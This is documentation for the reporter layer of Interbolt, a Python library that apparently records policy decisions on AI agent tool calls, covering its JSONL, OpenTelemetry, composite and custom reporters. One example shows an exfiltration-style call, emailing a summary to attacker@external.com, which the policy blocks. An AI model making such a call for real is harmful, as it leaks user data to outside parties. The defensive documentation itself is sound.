Reporters

Reporter is the seam every emitted record leaves through: an Event for each guarded call, a Finding for each audit hit, and an Endorsement for each endorse() call. Enforcement emits through this protocol and never imports a concrete reporter, so swapping reporters changes nothing about how decisions are made.

class Reporter(Protocol):
    def export(self, event: Event | Finding | Endorsement) -> None: ...

Emission is fire-and-forget

A reporter failure never affects, delays, or blocks a decision: every export call is wrapped, and a failure is logged as a warning instead of propagating. That guarantee does not cover blocking I/O inside export itself. The shipped reporters are non-blocking by construction, but a custom reporter that blocks in export blocks the decision that triggered it. Keeping export non-blocking is the reporter author's job.

Shipped implementations

NullReporter

The default, installed when configure() is called with no reporter=. export discards the record, which keeps the library fully functional and fully local, with zero network calls, under any default configuration.

InMemoryReporter

reporter = InMemoryReporter()
runtime = configure(policy=..., reporter=reporter)
...
reporter.events         # list[Event], every emitted event in order
reporter.decisions      # list[Decision], the .decision of each Event
reporter.findings       # list[Finding], every audit finding
reporter.endorsements   # list[Endorsement], every endorse() call
reporter.clear()        # discard everything captured so far

Captures every exported record in memory. This is the assertion surface for tests (see Testing) and for reading back audit findings (see Auditing). A record that is none of the three known types raises TypeError.

LoggingReporter

Emits every record via the library logger (interbolt), at DEBUG. The library logger stays isolated from the root logger and emits nothing at import; attach a handler to "interbolt" to see output.

JsonlReporter

reporter = JsonlReporter("logs/provenance.jsonl")
runtime = configure(policy=..., reporter=reporter)

Appends every exported record as one JSON line: append mode, flushed and fsynced before export returns, so a record is durable on disk immediately. Each line carries a record_type key ("event", "finding", or "endorsement") alongside the record's own fields; see Events for the exact shape. This is the format interbolt inspect <path> reads, rendering the log as a console tree grouped by run and agent.

Parent directories are created at construction, and a path that is an existing directory, or whose parents cannot be created, raises InterboltConfigError there rather than at the first decision. The first successful write logs one WARNING naming the destination, so where the output landed is visible without a LoggingReporter attached.

The per-record fsync gives durability, and this is the one shipped reporter with real I/O on the decision path. For high call volumes, write a custom reporter that buffers and drains off-path.

CompositeReporter

reporter = CompositeReporter([JsonlReporter("provenance.jsonl"), InMemoryReporter()])
runtime = configure(policy=..., reporter=reporter)

Fans a record out to a sequence of reporters, calling export on each in order. One sub-reporter's failure is caught and logged the same way the engine isolates a single reporter's failure, so it never prevents the record from reaching the others. Use this to combine a durable sink with a live one, or with a test assertion surface, instead of hand-writing the fan-out.

The sequence is appendable at any time via add(reporter), thread-safe under an internal lock, and reporters returns a snapshot tuple in call order. export fans out to a snapshot taken at call time, so an add() racing an export() never errors.

OTelReporter

from interbolt import OTelReporter, configure

runtime = configure(policy=...)
runtime.add_reporter(OTelReporter())   # decisions appear inside existing traces

Requires the interbolt[otel] extra (opentelemetry-api only, never the SDK). Maps Event/Finding/Endorsement onto OpenTelemetry at the point they leave the process, rather than treating OpenTelemetry as the native format: Interbolt's own versioned records (see Events) stay the source of truth.

Two emission paths: when the current span is recording, because the tool call happens inside a span your own instrumentation already opened, the record is added as a span event; otherwise a zero-work fallback span is opened and immediately closed, so the decision is still exported rather than silently dropped. With no TracerProvider configured, this is a no-op by OpenTelemetry's own design. See the OTel guide for the walkthrough and Events for the attribute mapping.

OTelReporter is exported lazily, so import interbolt never requires opentelemetry to be installed. from interbolt import OTelReporter imports interbolt.reporting.otel on first access, raising InterboltConfigError with an install hint if the extra is missing.

Adding a span event, or opening the fallback span, is an in-memory operation on the host's tracing SDK rather than I/O, so this reporter meets the non-blocking contract like every other shipped one.

The runtime always holds a composite

Every Runtime wraps its reporter in a CompositeReporter internally, even when configure() was given a single reporter or none. That is what makes Runtime.add_reporter possible: it appends to the internal composite without reconfiguring, the same shape as OpenTelemetry's tracer_provider.add_span_processor(...).

runtime = configure(policy=...)          # seeds the composite with NullReporter()

# later, in a different module:
from interbolt import get_runtime

get_runtime().add_reporter(InMemoryReporter())

The non-blocking contract applies identically to an added reporter. There is no remove_reporter; call configure() again to reset the reporter set.

The describe_* helpers

from interbolt import (
    describe_decision, describe_endorsement, describe_event, describe_finding,
)

Each turns one record into a one-line, rich-markup-tagged summary for a rich.console.Console. They are what interbolt inspect uses internally, and the right starting point for a custom console reporter rather than reinventing the action-to-color mapping.

describe_decision is the one to reach for where a Decision is already in hand and a trip through the reporter stream would be unnecessary: a caught PolicyViolation/ApprovalDenied, or check()'s return value. It is also the only helper that surfaces the matched condition.

from rich.console import Console
from interbolt import PolicyViolation, describe_decision

try:
    send_email(to="attacker@external.com", body=summary)
except PolicyViolation as e:
    Console().print(describe_decision(e.decision))

Writing a custom reporter

Any object with a matching export method satisfies the protocol structurally; no base class or registration is required. Handle all three record types, since all three arrive on the same seam.

class FileReporter:
    def __init__(self, path: str) -> None:
        self._path = path

    def export(self, event: Event | Finding | Endorsement) -> None:
        with open(self._path, "a", encoding="utf-8") as f:
            f.write(event.model_dump_json() + "\n")

This minimal example performs blocking I/O for clarity. A production reporter doing real I/O should buffer locally and drain on a background thread or task rather than writing inline inside export.

Building a console reporter

Reporter is the right seam for a CLI or app that shows decisions as they happen:

from interbolt import (
    Action, Endorsement, Event, Finding, configure,
    describe_endorsement, describe_event, describe_finding,
)

class CLIReporter:
    def __init__(self, console, verbose=False):
        self.console = console
        self.verbose = verbose

    def export(self, record):
        if isinstance(record, Event):
            if record.decision.action is Action.ALLOW and not self.verbose:
                return
            self.console.print(describe_event(record))
        elif isinstance(record, Finding):
            self.console.print(describe_finding(record))
        elif isinstance(record, Endorsement):
            self.console.print(describe_endorsement(record))

runtime = configure(policy=..., reporter=CLIReporter(console, verbose=args.verbose))

ALLOW is gated behind verbose deliberately: an agent can make dozens of tool calls in a session, and if every allow prints a line, the block you care about scrolls away.

Use Reporter for this rather than logging.getLogger("interbolt"). The library logger carries Interbolt's internal diagnostics, so decision output mixed into it has to be filtered back out of the library's own DEBUG noise.

For a live view and a durable trail at once, wrap both:

runtime = configure(
    policy=...,
    reporter=CompositeReporter([
        JsonlReporter("provenance.jsonl"),
        CLIReporter(console, verbose=args.verbose),
    ]),
)